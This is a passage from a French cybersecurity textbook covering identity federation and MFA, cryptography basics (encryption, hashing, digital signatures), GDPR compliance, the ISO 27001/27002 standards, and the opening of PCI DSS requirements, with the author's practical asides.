			Ces solutions « as a service » permettent de mettre en place un contrôle extrêmement granulaire des actions que les utilisateurs peuvent effectuer sur les ressources, à travers la définition de politiques (policies) qui peuvent prendre en compte un grand nombre de conditions (date et heure, adresses IP source, région, présence d’un facteur d’authentification complémentaire, type de navigateur, etc.).

			L’essor du cloud a favorisé le développement de technologies de fédération d’identité, qui se basent sur un principe commun : un utilisateur obtient un jeton (token) en s’authentifiant auprès d’un fournisseur d’identité (identity provider), et utilise ce jeton pour consommer des services auprès d’un ou plusieurs fournisseurs de services (service provider).

			Un cas spécifique de fédération est celui du SSO (Single Sign On, « authentification unique » en français), méthode permettant à un utilisateur d’accéder à plusieurs applications en ne procédant qu’à une seule authentification.

			On fait aussi appel à la fédération d’identités quand on utilise son profil Google, Facebook ou Microsoft pour s’authentifier sur des sites tiers, qui déportent la gestion de l’authentification sur les fournisseurs d’identités cités.

			Les principaux protocoles utilisés pour la fédération d’identités sont SAML, Oauth et OpenID.
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							- L’authentification multifacteur (MFA) est désormais incontournable pour les accès distants à la messagerie (webmail) et pour la connexion à un VPN d’entreprise. Son déploiement peut se réaliser par phases (en commençant par les profils les plus sensibles et exposés) ou en mode « big bang » (tout le monde au même moment). Il n’est pas évident de préférer une méthode à l’autre ; il faut prendre en compte chaque contexte spécifique.

							- Une difficulté dans l’application de la MFA est qu’elle demande de fournir à chaque utilisateur un élément d’authentification de type « something you have », en général un téléphone mobile d’entreprise ou un token hardware. L’installation d’une application d’authentification (authenticator) sur les téléphones personnels des utilisateurs qui ne disposent pas d’un mobile d’entreprise peut alors être considérée, même si elle n’est pas idéale (le mélange pro-perso est à éviter dans la mesure du possible).

						
					

				
			

			Cryptologie

			Définitions

			La cryptologie, étymologiquement la science du secret, englobe la cryptographie (l’écriture secrète), la cryptanalyse (l’analyse et l’attaque de cette dernière) et la stéganographie (l’art de la dissimulation). Il s’agit d’une discipline qui remonte à plusieurs milliers d’années, promue depuis quelques décennies au rang de science, et qui occupe une place privilégiée dans l’univers de la cybersécurité.

			

			Son apport en termes de protection de l’information se base sur les services suivants :

			- Confidentialité : le message original est altéré de façon qu’il soit intelligible seulement pour destinataire légitime, déjouant ainsi les tentatives d’accès non autorisé.

			- Intégrité : le destinataire peut vérifier que le message reçu n’a pas été altéré, intentionnellement ou non.

			- Authenticité : le destinataire peut obtenir l’assurance que le message reçu a bien été transmis par l’expéditeur attendu.

			- Non-répudiation : l’expéditeur ne peut pas nier avoir envoyé le message reçu par le destinataire.

			Avant de voir plus en détail comment ces services sont implémentés, il est nécessaire de définir certains concepts clés de la cryptologie :

			- Texte clair : messages ou données lisibles dans leur format naturel.

			- Texte chiffré : forme altérée du texte clair, convertie en secret, intelligible seulement pour les destinataires prévus, qui disposent de la clé de (dé)chiffrement.

			- Chiffrement : conversion du texte clair en texte chiffré. N.B. : les mots « cryptage », « chiffrage » ou « encryption » ne sont pas reconnus en France par l’ANSSI et l’Académie française. Leur utilisation provoque en général des ricanements et la désapprobation des professionnels de la cybersécurité ; vous êtes prévenu. 

			- Déchiffrement : processus inverse du chiffrement, à travers lequel les destinataires convertissent le texte chiffré en texte clair en utilisant leurs clés de déchiffrement.

			- Décryptage : processus qui consiste à retrouver le texte original à partir d’un message chiffré sans posséder la clé de (dé)chiffrement.

			- Algorithme : fonction mathématique utilisée dans les processus de chiffrement et déchiffrement.

			- Clé : l’entrée (input) qui contrôle les opérations de l’algorithme cryptographique.

			Services apportés

			

			Examinons maintenant les services de sécurité fournis par la cryptographie.

			Confidentialité : elle est obtenue à travers deux types d’algorithmes de chiffrement :

			- Symétriques : il s’agit des algorithmes les plus anciens, leur première utilisation remontant aux Égyptiens vers 2000 av. J.-C. Leur particularité est qu’ils utilisent la même clé pour le chiffrement et le déchiffrement, d’où le terme « symétriques ». Cette clé doit être préalablement échangée entre expéditeur et destinataire. Ils opèrent principalement à travers les techniques de substitution et de transposition. Les algorithmes de chiffrement symétrique les plus connus sont AES, DES, 3-DES et Blowfish.

			- Asymétriques : plus modernes, ils ont été introduits dans les années 1970. Ils utilisent deux clés, publique et privée, fabriquées directement par un utilisateur qui souhaite recevoir des messages. Un message chiffré à la clé publique peut être déchiffré seulement à travers la clé privée correspondante, et vice versa. Le cas d’usage le plus commun afin d’assurer la confidentialité des échanges entre A (Alice) et B (Bob) est le suivant, dans lequel A souhaite transmettre un message à B :

			1.A et B fabriquent chacun une paire de clés ; ils distribuent publiquement leur clé publique et gardent secrète leur clé privée.

			2.A chiffre le message destiné à B avec la clé publique de B.

			3.A transmet le message chiffré à B.

			4.B reçoit le message provenant de A.

			5.B déchiffre le message reçu avec sa propre clé privée.

			Il est intéressant de remarquer, dans cet exemple, que si quelqu’un arrive à intercepter le message transmis par A, il ne pourra rien en faire, car le seul moyen de le déchiffrer est d’utiliser la clé privée de B, que celui-ci garde secrète. Certes, une compromission de la clé privée a pour effet la perte de confidentialité.

			Les algorithmes de chiffrement asymétrique les plus communs sont RSA, DSA et ECC.

			Passons maintenant en revue les avantages et inconvénients des deux types d’algorithmes.

			

			Les algorithmes symétriques ont l’avantage d’être plus simples et donc beaucoup plus rapides à calculer que les asymétriques, avec une différence de plusieurs ordres de grandeur. Cependant, ils ont des limitations importantes :

			- Ils exigent que les participants à un échange confidentiel échangent préalablement leurs clés secrètes.

			- Ils ne fournissent que le service de confidentialité.

			Les algorithmes asymétriques sont plus complexes d’un point de vue mathématique et donc plus lents à calculer. Il s’agit cependant de leur seul inconvénient, car ils fournissent une palette de services de sécurité très large.

			Il est intéressant de remarquer que les algorithmes asymétriques sont caractérisés par un meilleur scaling dans la situation où N personnes doivent communiquer de manière confidentielle. En effet, si les N personnes adoptent un algorithme symétrique, chacune doit partager une clé différente avec chaque autre : le total de clés nécessaires est N*(N-1)/2 (il s’agit du même calcul que pour le nombre total de poignées de main). Avec un algorithme asymétrique, il suffit que chaque personne génère 2 clés (privée et publique) ; le total est donc de 2N.

			Intégrité : elle est obtenue avec les algorithmes (appelés aussi « fonctions ») de hachage. Une fonction de hachage est une opération mathématique qui réduit un message ou un fichier de données en une valeur plus petite de longueur fixe, dénommée « condensat » (hash). Le condensat a une taille en bits qui varie selon l’algorithme (128 pour MD5, 160 pour SHA-1, 256 pour le mode SHA-256 de la famille SHA-2, etc.).

			

			Pour qu’une fonction de hachage soit utilisable, elle doit respecter ces 5 propriétés :

			1.Distribution uniforme (non biaisée) des valeurs de sortie.

			2.Résistance aux collisions : difficulté de trouver un deuxième input qui produit le même condensat que le premier.

			3.Caractère unidirectionnel : il doit être impossible de déduire l’input à partir du hash.

			4.Prise en compte de l’input dans sa totalité.

			5.Déterminisme : un input X donnera toujours le même hash Y.

			Le cas d’usage le plus courant afin d’assurer l’intégrité d’un échange de A vers B est le suivant :

			1.A calcule le condensat du message destiné à B, à travers une fonction de hachage H.

			2.A transmet le message à B, en ajoutant le condensat calculé à travers H.

			3.B reçoit le message et le condensat calculé par A.

			4.B calcule le condensat du message envoyé par A, à travers la même fonction de hachage H.

			5.Si le condensat calculé par B correspond au condensat transmis par A, B peut être raisonnablement sûr que le message n’a pas été altéré, car si tel avait été le cas, le condensat aurait changé. Nous avons utilisé le mot « raisonnablement » car il existe deux cas où deux messages différents donnent le même condensat :

			- Un attaquant réussit à produire une collision, en créant un message M’ qui produit le même hash que M.

			- Par extrême malchance, le message M subit une altération qui donne lieu au même calcul de hash. La probabilité que cela arrive est 2 puissance le nombre de bits du condensat. Pour un condensat de 128 bits, ça donne (1/2128), valeur extrêmement petite (2128 ≈ 1038).

			Notons aussi que les fonctions de hachage sont utilisées pour le contrôle d’accès, notamment dans les bases de mots de passe : le système d’authentification ne stocke pas les mots de passe en clair, mais leurs condensats, qui sont comparés à la volée avec les condensats des mots de passe saisis en entrée par les utilisateurs. Si le hash calculé correspond au hash stocké, le système considère que l’authentification est réussie.

			

			En réalité, cela est un peu plus complexe, car les condensats sont en général stockés avec une valeur dite « sel » (on parle de « salage ») ; nous en reparlerons plus tard.

			Authenticité et non-répudiation : ces deux propriétés sont obtenues à travers le mécanisme de signature numérique, qui combine le chiffrement asymétrique et le hachage.

			Dans le cas d’usage suivant, A et B disposent d’une paire de clés chacun, et chacun connaît la clé publique de l’autre. A souhaite signer le message transmis à B, de façon que B soit assuré que le message vient bien de A.

			Une méthode de parvenir à cela pourrait être la suivante :

			1.A chiffre l’intégralité du message avec sa clé privée.

			2.A transmet le message « chiffré » à B (les guillemets sont utilisés car le texte chiffré n’est pas confidentiel, la clé de déchiffrement – la clé publique de A – étant connue de tout le monde).

			3.B déchiffre le message d’abord avec sa clé privée, puis avec la clé publique de A.

			4.Si B obtient quelque chose d’intelligible, il en conclut que le message avait bien été chiffré par A, avec sa clé privée.

			L’inconvénient de cette méthode est qu’elle est très lente, surtout bien sûr pour des messages de grosse taille. En effet, nous avons évoqué l’inconvénient des algorithmes asymétriques, leur « gourmandise » en termes de processing.

			La méthode suivante s’affranchit de cet obstacle :

			1.A calcul le condensat du message qu’il souhaite transmettre à B.

			2.A chiffre le condensat avec sa clé privée : la valeur obtenue est dite « signature numérique ».

			3.A transmet à B le message en ajoutant la signature numérique.

			4.B reçoit le message, met de côté la signature numérique et en calcule le condensat.

			5.B déchiffre la signature numérique avec la clé publique de A. Si la valeur obtenue correspond au condensat calculé, B en conclut que A est bien l’expéditeur du message.

			

			L’avantage de cette méthode par rapport à la méthode précédente est qu’elle est beaucoup plus légère au niveau du calcul : l’algorithme de chiffrement asymétrique travaille sur un petit condensat plutôt que sur l’intégralité du message.

			Le chiffrement comme mesure de sécurité

			Le chiffrement est une mesure de sécurité presque universelle quand il s’agit de protéger les données, mais sa mise en place peut avoir un impact sur les performances opérationnelles, à plusieurs niveaux, notamment :

			- Temps de traitement rallongé.

			- Consommation de CPU plus élevée.

			- Complexité dans la gestion des clés (création, transmission, destruction).

			- Complexité dans l’échange des données.

			Il est donc recommandable d’utiliser le chiffrement à bon escient, en l’appliquant en priorité aux données identifiées comme sensibles, notamment :

			- Données soumises à une réglementation (données à caractère personnel – dont les données de santé, numéros de carte bancaire, etc.).

			- Données avec un très fort besoin en confidentialité (mots de passe, clés API, informations qui relèvent du secret industriel, etc.).

			- Données dont le chiffrement est requis au niveau contractuel.

			Notons qu’une clé cryptographique ne doit pas être utilisée indéfiniment, mais doit au contraire prévoir une période de validité, et donc une date de « péremption ».

			Cela est lié au fait que la puissance de calcul des processeurs augmente très rapidement (cf. loi de Moore4), sans compter les progrès des ordinateurs quantiques, au travers desquels il sera possible de casser des algorithmes qui sont aujourd’hui considérés comme sûrs.

			Le site Keylength5 aide à choisir la bonne taille de clé en fonction de la période de validité souhaitée.

			

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- C’est une mauvaise idée de « bricoler » un algorithme de chiffrement ou de hachage maison : il faut utiliser des algorithmes éprouvés (cf.  principe de Kerckhoffs6).

							- Quand il s’agit de la protection des secrets et des clés de chiffrement, il faut se mettre dans un état d’esprit presque paranoïaque et réfléchir à tous les risques de fuite. Les solutions hardware basées sur des HSM offrent un niveau de sécurité plus élevé que les solutions software, mais sont coûteuses et demandent la mise en place de processus de gestion lourds, notamment des cérémonies des clés.

							- Il ne faut jamais transmettre par mail des informations sensibles en clair, ni transmettre par mail un fichier chiffré avec le mot de passe dans le corps du mail.

							- N’hésitez pas à utiliser le chiffrement pour protéger vos informations personnelles sensibles, par exemple des numérisations de documents d’identité. Un logiciel comme Cryptomator peut être utile à cet égard.

						
					

				
			

			

			Chapitre 2

			Cadre légal et réglementaire

			Introduction

			Avec l’essor des menaces numériques et l’augmentation des données sensibles circulant sur les réseaux, les organisations doivent répondre à des exigences de conformité toujours plus complexes.

			Il existe une multitude de référentiels, normes et réglementations couvrant des secteurs variés. Ce chapitre se concentre sur quatre référentiels clés, qui illustrent les principales approches de sécurisation d’un système d’information :

			- Règlement général sur la protection des données7 (RGPD, GDPR en anglais), le texte européen de référence en matière de protection des données à caractère personnel.

			

			- Normes ISO de la série 27000, qui définissent un cadre structuré pour la gestion de la sécurité de l’information, adaptable à chaque organisation.

			- PCI DSS (Payment Card Industry Data Security Standard), essentiel pour les acteurs impliqués dans le traitement des données de cartes bancaires.

			- Guide d’hygiène informatique de l’ANSSI, un guide opérationnel destiné à accompagner les organisations dans l’application de mesures basiques, mais critiques pour leur sécurité numérique. 

			RGPD

			Définitions

			Publié le 4 mai 2016 et applicable depuis le 25 mai 2018, le RGPD vise au renforcement des droits des personnes et à la responsabilisation des acteurs traitant les données.

			Pour bien comprendre le RGPD, il est important de maîtriser ces définitions :

			Donnée à caractère personnel : toute donnée relative à une personne physique qui peut être identifiée par quelqu’un, quel que soit le moyen utilisé. On distingue les données directement identifiantes (nom et prénom, photo, e-mail nominatif…) et les données indirectement identifiantes (numéro de sécurité sociale, empreinte digitale, adresse IP…). Dans certains cas, l’identification s’obtient à travers les recoupements d’informations anonymes (ex. : le fils aîné du notaire habitant au 11 bd Raspail à Paris). Les méthodes d’anonymisation, au stade de la collecte ou de l’exploitation, visent à casser le lien entre l’information et la personne.

			

			Les données sont dites « sensibles » si elles font apparaître, directement ou indirectement, les origines raciales ou ethniques, les opinions politiques, philosophiques ou religieuses, l’appartenance syndicale, l’état de santé ou de la vie sexuelle, des données génétiques et biométriques afin d’identifier une personne physique de manière unique.

			Traitement : toute opération portant sur des données à caractère personnel, quel que soit le procédé utilisé. Le texte de loi dit : « toute opération ou tout ensemble d’opérations effectuées ou non à l’aide de procédés automatisés et appliqués à des données ou des ensembles de données à caractère personnel, telles que la collecte, l’enregistrement, l’organisation, la structuration, la conservation, l’adaptation ou la modification, l’extraction, la consultation, l’utilisation, la communication par transmission, la diffusion ou toute autre forme de mise à disposition, le rapprochement ou l’interconnexion, la limitation, l’effacement ou la destruction ».

			Responsable de traitement (RT) : la personne physique ou morale, l’autorité publique, le service ou un autre organisme qui, seul ou conjointement avec d’autres, détermine les finalités et les moyens du traitement.

			Sous-traitant (ST) : la personne physique ou morale, l’autorité publique, le service ou un autre organisme qui traite des données à caractère personnel pour le compte du responsable du traitement. Le sous-traitant doit présenter des garanties suffisantes pour assurer la sécurité des données.

			Le RGPD s’applique aux traitements effectués dans le cadre des activités de RT ou de ST établis sur le territoire de l’UE (critère de l’établissement), mais aussi aux traitements effectués pour le compte de RT ou ST non établis sur le territoire de l’UE dès lors qu’ils visent des personnes se trouvant sur le territoire de l’UE dans le cadre des activités suivantes (critère du ciblage) :

			- Offre aux personnes ciblées de biens ou de services.

			- Suivi de leur comportement au sein de l’UE.

			Règles d’or de la protection des données

			

			À partir du texte de loi, il est possible d’identifier six règles d’or :

			1.Licéité : le traitement n’est licite que si au moins une des six conditions suivantes est remplie :

			• La personne concernée a consenti au traitement de ses données à caractère personnel pour une ou plusieurs finalités spécifiques.

			• Le traitement est nécessaire à l’exécution d’un contrat auquel la personne concernée est partie ou à l’exécution de mesures précontractuelles prises à la demande de celle-ci.

			• Le traitement est nécessaire au respect d’une obligation légale à laquelle le responsable du traitement est soumis.

			• Le traitement est nécessaire à la sauvegarde des intérêts vitaux de la personne concernée ou d’une autre personne physique.

			• Le traitement est nécessaire à l’exécution d’une mission d’intérêt public ou relevant de l’exercice de l’autorité publique dont est investi le responsable du traitement.

			• Le traitement est nécessaire aux fins des intérêts légitimes poursuivis par le responsable du traitement ou par un tiers, à moins que ne prévalent les intérêts ou les libertés et droits fondamentaux de la personne concernée, qui exigent une protection des données à caractère personnel, notamment lorsque la personne concernée est un enfant.

			2.Finalité : les données doivent être collectées pour des finalités déterminées, explicites et légitimes et ne sont pas traitées ultérieurement de manière incompatible avec ces finalités.

			3.Minimisation : les données doivent être adéquates, pertinentes et non excessives au regard des finalités pour lesquelles elles sont collectées et de leurs traitements ultérieurs.

			4.Exactitude : le RT doit prendre des mesures pour mettre à jour les données si nécessaire, afin qu’elles soient exactes et complètes.

			5.Durée limitée de conservation : les données ne peuvent être conservées de façon indéfinie, sauf dans des cas bien spécifiques. La durée de conservation doit être déterminée en fonction de la finalité de chaque traitement. Trois phases sont à distinguer : conservation en base active (données d’utilisation courante), puis en base intermédiaire (archivage des données présentant un intérêt administratif), puis, le cas échéant, archivage définitif (versement au service d’archives publiques compétent).

			

			6.Sécurité : le responsable du traitement est tenu de prendre toutes précautions utiles, au regard de la nature des données et des risques présentés par le traitement, pour préserver la sécurité des données et, notamment, empêcher qu’elles soient déformées, endommagées, ou que des tiers non autorisés y aient accès.

			Droits des personnes physiques

			Le RGPD renforce certains droits déjà établis des personnes physiques :

			- Droit d’accès : une personne peut savoir quelles informations les administrations, les organismes publics ou privés et les sociétés commerciales détiennent sur elle dans leurs fichiers.

			- Droit de rectification : une personne peut demander la rectification des informations inexactes ou incomplètes la concernant.

			- Droit à être informé d’une violation des données en cas de risques élevés pour les intéressés.

			- Droit d’opposition : une personne peut s’opposer à tout moment à ce qu’un organisme utilise certaines de ses données ; le RT doit prouver l’existence d’un intérêt légitime supérieur à celui de la personne concernée.

			- Droit à l’effacement (« droit à l’oubli ») : une personne peut demander à un organisme l’effacement de données à caractère personnel la concernant.

			Et en introduit deux nouveaux :

			- Droit à la limitation du traitement : une personne peut demander à un organisme de geler temporairement l’utilisation de certaines de ses données.

			- Droit à la portabilité des données : une personne peut récupérer une partie de ses données dans un format ouvert et lisible par machine ; elle peut ainsi les stocker ou les transmettre facilement d’un système d’information à un autre, en vue de leur réutilisation à des fins personnelles.

			Il est intéressant de remarquer que la CNIL met à disposition des modèles de courrier pour faciliter l’exercice des droits.

			

			Délégué à la protection des données

			Le RGPD définit le rôle de délégué à la protection des données (DPD, ou DPO an anglais pour Data Protection Officer, ce dernier acronyme étant utilisé plus fréquemment). Véritable pilote de la conformité interne d’une organisation, le DPO remplit les missions suivantes :

			- Informer et conseiller l’organisme ainsi que les salariés/agents sur les obligations qui lui incombent en vertu du RGPD.

			- Contrôler le respect du RGPD, d’autres dispositions de l’UE ou de l’État membre concerné et des règles internes du RT ou du ST.

			- Coopérer avec l’autorité de contrôle (en France la CNIL) et faire office de point de contact pour les personnes concernées sur toute question en lien avec les traitements.

			- S’assurer de la bonne tenue de la documentation relative aux traitements.

			Sa nomination dans une organisation n’est obligatoire que sous certaines conditions, notamment le traitement des données à grande échelle.

			Le DPO doit être mis en condition d’exercer avec indépendance ses responsabilités, il ne peut donc pas occuper une fonction au sein de l’organisme qui le conduit à déterminer finalités et moyens d’un traitement. L’organisme doit d’ailleurs s’assurer que le DPO dispose des ressources nécessaires à l’exécution de ses missions et au maintien de ses connaissances. L’externalisation de la fonction de DPO, auprès d’un individu ou d’un organisme, est possible sur la base d’un contrat de service.

			Outils

			Examinons maintenant les outils de la conformité :

			- Registre responsable de traitement : document clé qui détaille, pour chaque traitement dont l’organisme est responsable : finalités, catégories de personnes concernées, données traitées, mesures de sécurité, destinataires, sous-traitants et transferts éventuels hors Union européenne (UE).

			

			- Registre sous-traitant : document à travers lequel les ST listent les traitements qu’ils effectuent pour le compte de leurs clients RT. Le niveau de détail demandé pour ce registre est moindre par rapport au registre RT.

			- Analyse d’impact (en anglais Privacy Impact Assessment, PIA) : méthode pour analyser les risques en cas de violation de données, non pas pour l’organisme comme dans les analyses de risque classiques, mais pour les personnes concernées. La CNIL met à disposition gratuitement un logiciel pour réaliser cet exercice, qui n’est obligatoire que dans certains cas, notamment le traitement de données sensibles et/ou à très grande échelle.

			Transferts hors Union européenne

			Afin de protéger les données des résidents européens, le RGPD encadre de façon stricte les transferts hors UE, surtout quand le pays tiers n’offre pas un niveau de protection adéquat (cf. carte de la CNIL8). Pour gérer ces cas d’usage très fréquents (pensons par exemple aux activités d’off-shoring), le texte introduit deux moyens pour se mettre en conformité : les clauses contractuelles types (des modèles sont gratuitement mis à disposition par la CNIL) et les règles d’entreprise contraignantes (BCR, plus adaptées aux multinationales qu’aux plus petites structures).

			Sanctions

			Pour terminer, notons que le RGPD impose :

			- L’obligation de notification du RT en cas de violation de données. En fonction de la gravité, une communication doit être adressée à l’autorité de contrôle concernée et aux personnes physiques dont les données ont été touchées.

			

			- Des sanctions très dissuasives pour les organismes qui ne respectent pas le RGPD, pouvant aller jusqu’à 20 millions d’euros ou, dans le cas d’une entreprise, jusqu’à 4 % du chiffre d’affaires annuel mondial.

			Une procédure de sanction peut être engagée à l’encontre d’un organisme si un manquement au RGPD ou à la loi « Informatique et Libertés » est constaté :

			- À la suite du dépôt d’une plainte ou d’un signalement auprès de la CNIL.

			- À la suite d’une mission de contrôle de la CNIL.

			Guides et recommandations de la CNIL

			Le site de la Commission nationale de l’informatique et des libertés (CNIL)9 est très riche en informations sur le RGPD et contient des recommandations très utiles, notamment le guide RGPD : se préparer en 6 étapes10, qui propose une trajectoire de mise en conformité :

			1.Désigner un pilote, idéalement à travers la nomination d’un DPO.

			2.Cartographier les traitements de données personnelles et consigner les informations recensées dans le registre des traitements11.

			3.Établir un plan des actions de mise en conformité à mener, en les priorisant au regard des risques associés sur les droits et les libertés des personnes concernées.

			4.Mener une analyse d’impact relative à la protection des données (AIPD) pour les traitements des données les plus sensibles.

			5.Formaliser les processus et les procédures en lien avec la protection des données.

			6.Regrouper toute la documentation en lien avec la protection des données (registres, analyses d’impact, contrats, notices d’information, politiques, procédures, preuves liées à l’expression du consentement, etc.).
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							- Si la mobilisation autour du RGPD s’est un peu essoufflée depuis mai 2018, ce qui est relativement compréhensible, il est cependant risqué de relâcher entièrement l’effort, car cela peut exposer à des sanctions.

							- Les sanctions financières sont prononcées par la CNIL seulement en dernier recours, après plusieurs relances de mise en conformité non traitées.

							- Il est intéressant de consulter régulièrement le site 12, qui liste les sanctions prononcées au niveau européen.

							- Attention aux fichiers Excel qui « traînent » sur les serveurs de fichiers : lors de ses contrôles, la CNIL commence par faire une recherche de type « *.xlsx » sur les filers.

							- La conformité à ISO 27001 aide grandement à justifier le niveau de sécurité des données exigé par le RGPD.

							- Il faut prononcer RGPD au masculin, car le R est pour « règlement »13.

							- Les principales mesures de protection des données à caractère personnel sont le chiffrement et le contrôle d’accès.

						
					

				
			

			Normes ISO de la série 27000

			L’Organisation internationale de normalisation (ISO) et la Commission électrotechnique internationale (CEI, ou IEC en anglais) ont publié une suite de normes autour de la sécurité des systèmes d’information, connues sous le nom de « famille ISO 27000 », dont voici les plus populaires :

			

			- ISO/CEI 27000 : introduction et vue globale de la famille des normes relatives au système de management de la sécurité de l’information (SMSI), ainsi qu’un glossaire des termes communs.

			- ISO/CEI 27001 : norme d’exigence des SMSI, permettant la certification.

			- ISO/CEI 27002 : guide des bonnes pratiques en SMSI.

			- ISO/CEI 27004 : norme de mesure de management de la sécurité de l’information.

			- ISO/CEI 27005 : norme de gestion des risques liés à la sécurité de l’information.

			- ISO/CEI 27017 : code de pratique pour les contrôles de sécurité de l’information fondés sur l’ISO/CEI 27002 pour les services du nuage.

			- ISO/CEI 27018 : guide de pratiques pour la protection des données à caractère personnel (PII – personally identifiable information) dans les clouds publics.

			- ISO/CEI 27031 : lignes directrices pour mise en état des technologies de la communication et de l’information pour continuité des affaires.

			- ISO/IEC 27035 : gestion des incidents de sécurité de l’information.

			- ISO/IEC 27037 : lignes directrices pour l’identification, la collecte, l’acquisition et la préservation de preuves numériques.

			Hormis la première (27000), ces normes sont payantes ; en format PDF, elles coûtent un peu plus d’une centaine d’euros.

			Elles partagent une structure similaire s’inspirant du modèle PDCA d’amélioration continue, appelée aussi « roue de Deming », introduite dans les années 1950 pour la gestion de la qualité.

			Cette méthode comporte quatre étapes, chacune entraînant l’autre, et vise à établir un cercle vertueux :

			- Plan : préparer, planifier.

			- Do : développer, réaliser, mettre en œuvre.

			- Check : contrôler, vérifier.

			- Act (ou Adjust) : agir, ajuster, réagir.

			

			Norme ISO 27001

			Étudions comment cette méthode est implémentée dans l’ISO 27001, qui est sûrement la plus populaire de la suite 27000. L’ISO 27001 est une norme certifiante, qui adresse les systèmes de management de la sécurité de l’information (SMSI en français, ISMS en anglais).

			Phase Plan :

			- Validation par la direction générale du domaine d’application ; seul le périmètre retenu sera audité dans le cadre du processus de certification. Parmi les choix les plus communs, on trouve la restriction à des sites géographiques, à des processus ou à des activités. Il s’agit d’un choix très important et structurant, qui détermine d’un côté la quantité de travail nécessaire (un périmètre trop gros pourrait « faire exploser » les budgets) et de l’autre la confiance apportée aux parties prenantes (un périmètre trop petit pourrait être considéré comme insuffisant pour rassurer).

			- Validation par la direction générale des objectifs de sécurité, en fonction du niveau de sécurité visé. Cela peut surprendre, mais c’est tout à fait dans l’esprit de la norme, qui n’impose pas un niveau de sécurité cible, insistant plutôt sur l’amélioration continue.

			- Validation par la direction générale des rôles et responsabilités liés à la sécurité de l’information.

			- Définition par le RSSI (parfois, dans le cadre de l’ISO 27001, on parle de RSMSI) et validation par la direction générale d’un corpus de politiques de sécurité.

			- Réalisation, en général pilotée par le RSSI, d’une appréciation des risques de sécurité de l’information.

			- Définition par le RSSI et validation par la direction générale d’un plan de traitement des risques. Très important : dans le cadre du traitement des risques de sécurité, la norme ISO 27001 impose de prendre en considération toutes les mesures listées dans son annexe A et détaillées dans la norme ISO 27002. Cet exercice aboutit à un document nommé « Déclaration d’Applicabilité » (DdA), qui contient, pour chaque mesure, la justification de l’insertion ou de l’exclusion. Il est très important de remarquer que la DdA peut tout à fait inclure des mesures partiellement implémentées ; cela est compatible avec l’esprit d’amélioration continue de la norme.

			

			- La direction générale valide les ressources nécessaires au traitement des risques, et valide formellement l’acceptation des risques résiduels.

			Phase Do :

			- Déploiement des mesures de sécurité retenues, souvent piloté par des chefs de projet, sous le contrôle du RSSI/RSMSI. Pour les mesures de sécurité, des indicateurs de performance sont mis en place.

			- Documentation, qui constitue un important élément de preuve lors de l’audit de conformité. L’ISO 27001 impose de passer d’une culture orale à une culture écrite.

			- Formation et sensibilisation, afin de s’assurer de l’adéquation des compétences du personnel.

			- Communication, à travers laquelle la direction générale exerce son leadership et supporte l’effort de conformité.

			Phase Check :

			- Relevé régulier des indicateurs, afin de s’assurer que les mesures de sécurité fonctionnent comme prévu.

			- Audits de conformité, aussi bien internes (idéalement par une équipe interne qui n’a pas été impliquée dans les travaux de conformité – cela est naturellement compliqué, voire impossible pour les plus petites structures) qu’externes (notamment les audits de certification, qui ont une fréquence annuelle).

			- Revue de direction, instance très importante qui réunit la direction générale et le RSSI/RSMSI, dans le but d’apprécier le niveau de conformité et de prendre les décisions qui s’imposent.

			Phase Act :

			- Mesures correctives, afin de traiter les non-conformités relevées lors des audits, ou des défauts de performance remontés par les indicateurs.

			- Mesures préventives, afin d’agir proactivement sur d’éventuelles causes de dégradation de la sécurité.

			Pour compléter cette séquence, voici la liste des chapitres de la norme ISO 27002 qui décrivent les familles de mesures de sécurité, dans sa version de 2013 :

			- Politiques de sécurité de l’information.

			

			- Organisation de la sécurité de l’information.

			- La sécurité des ressources humaines.

			- Gestion des actifs.

			- Contrôle d’accès.

			- Cryptographie.

			- Sécurité physique et environnementale.

			- Sécurité liée à l’exploitation.

			- Sécurité des communications.

			- Acquisition, développement et maintenance des systèmes d’information.

			- Relations avec les fournisseurs.

			- Gestion des incidents liés à la sécurité de l’information.

			- Aspects de la sécurité de l’information dans la gestion de la continuité de l’activité.

			- Conformité.

			Dans sa version de 2022, la norme ISO 27002 modifie l’organisation des mesures de sécurité, en les regroupant en quatre catégories :

			- Mesures organisationnelles.

			- Mesures sur les personnes.

			- Mesures physiques.

			- Mesures technologiques.
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							- Il est tout à fait possible qu’un organisme soit certifié ISO 27001, alors que toutes les mesures de sécurité prévues ne sont pas encore déployées : la DdA peut contenir des mesures avec un niveau d’implémentation différent. L’important est que le SMSI s’améliore dans la durée.

							- Pour être conforme à ISO 27001, il faut formaliser une vingtaine de documents (PSSI, DdA, appréciation des risques, plan de traitement des risques, plan de formation, calendrier des sensibilisations, registre des incidents de sécurité, etc.).

							- Dans mon expérience, les audits de certification ISO 27001 ont toujours été moins « durs » que prévu ; dans le fond, l’entreprise de certification a un rapport commercial avec le commanditaire de l’audit, et n’a donc pas intérêt à être punitive si elle veut conserver une relation commerciale profitable dans la durée.

							- Pensez à toujours vérifier le périmètre des certifications ISO 27001 de vos fournisseurs ; un abus courant consiste à obtenir la certification sur un tout petit périmètre fonctionnel ou géographique et à la mettre en avant pour la globalité des services offerts.

						
					

				
			

			Norme PCI DSS

			La norme Payment Card Industry Data Security Standard (PCI DSS) a pour objectif de limiter l’utilisation frauduleuse des cartes de paiement, notamment dans le cadre de l’e-commerce. Élaborée par les principaux réseaux de cartes, dont Visa et Mastercard, elle s’applique à toutes les entreprises qui traitent, stockent et transmettent les données des titulaires de carte :

			- Numéro de compte primaire (Primary Account Number, PAN).

			- Nom du titulaire de la carte.

			- Date d’expiration.

			- Code service.

			

			- Données de bande magnétique complètes.

			- CAV2/CVC2/CVV2/CID.

			- Codes/blocs PIN.

			Les trois dernières données sont considérées sensibles et leur stockage est interdit par la norme, même sous forme chiffrée.

			Afin de protéger ces informations de paiement, la PCI DSS impose des mesures de sécurité regroupées en douze conditions, et prévoit un mécanisme d’audit et de certification pour valider leur mise en application. Les organisations non conformes s’exposent au risque d’obtenir des accords commerciaux moins intéressants (et peuvent se voir refuser certains services), et celles victimes de violations de données et n’étant pas conformes peuvent se voir imposer des amendes significatives par les réseaux de paiement.

			Il est intéressant de remarquer qu’une bonne partie des exigences de la norme ne sont pas spécifiques à l’industrie du paiement, mais relèvent des bonnes pratiques de sécurité applicables en général.

			Le référentiel PCI DSS peut être téléchargé gratuitement, contrairement aux normes ISO, sur le site du PCI Security Standards Council (PCI SSC).

			Passons en revue les principales mesures de sécurité associées aux douze conditions.

			Condition 1 - Installer et gérer une configuration de pare-feu pour protéger les données de titulaires de carte :

			- Définir un processus formel de test et d’approbation pour la configuration des pare-feux.

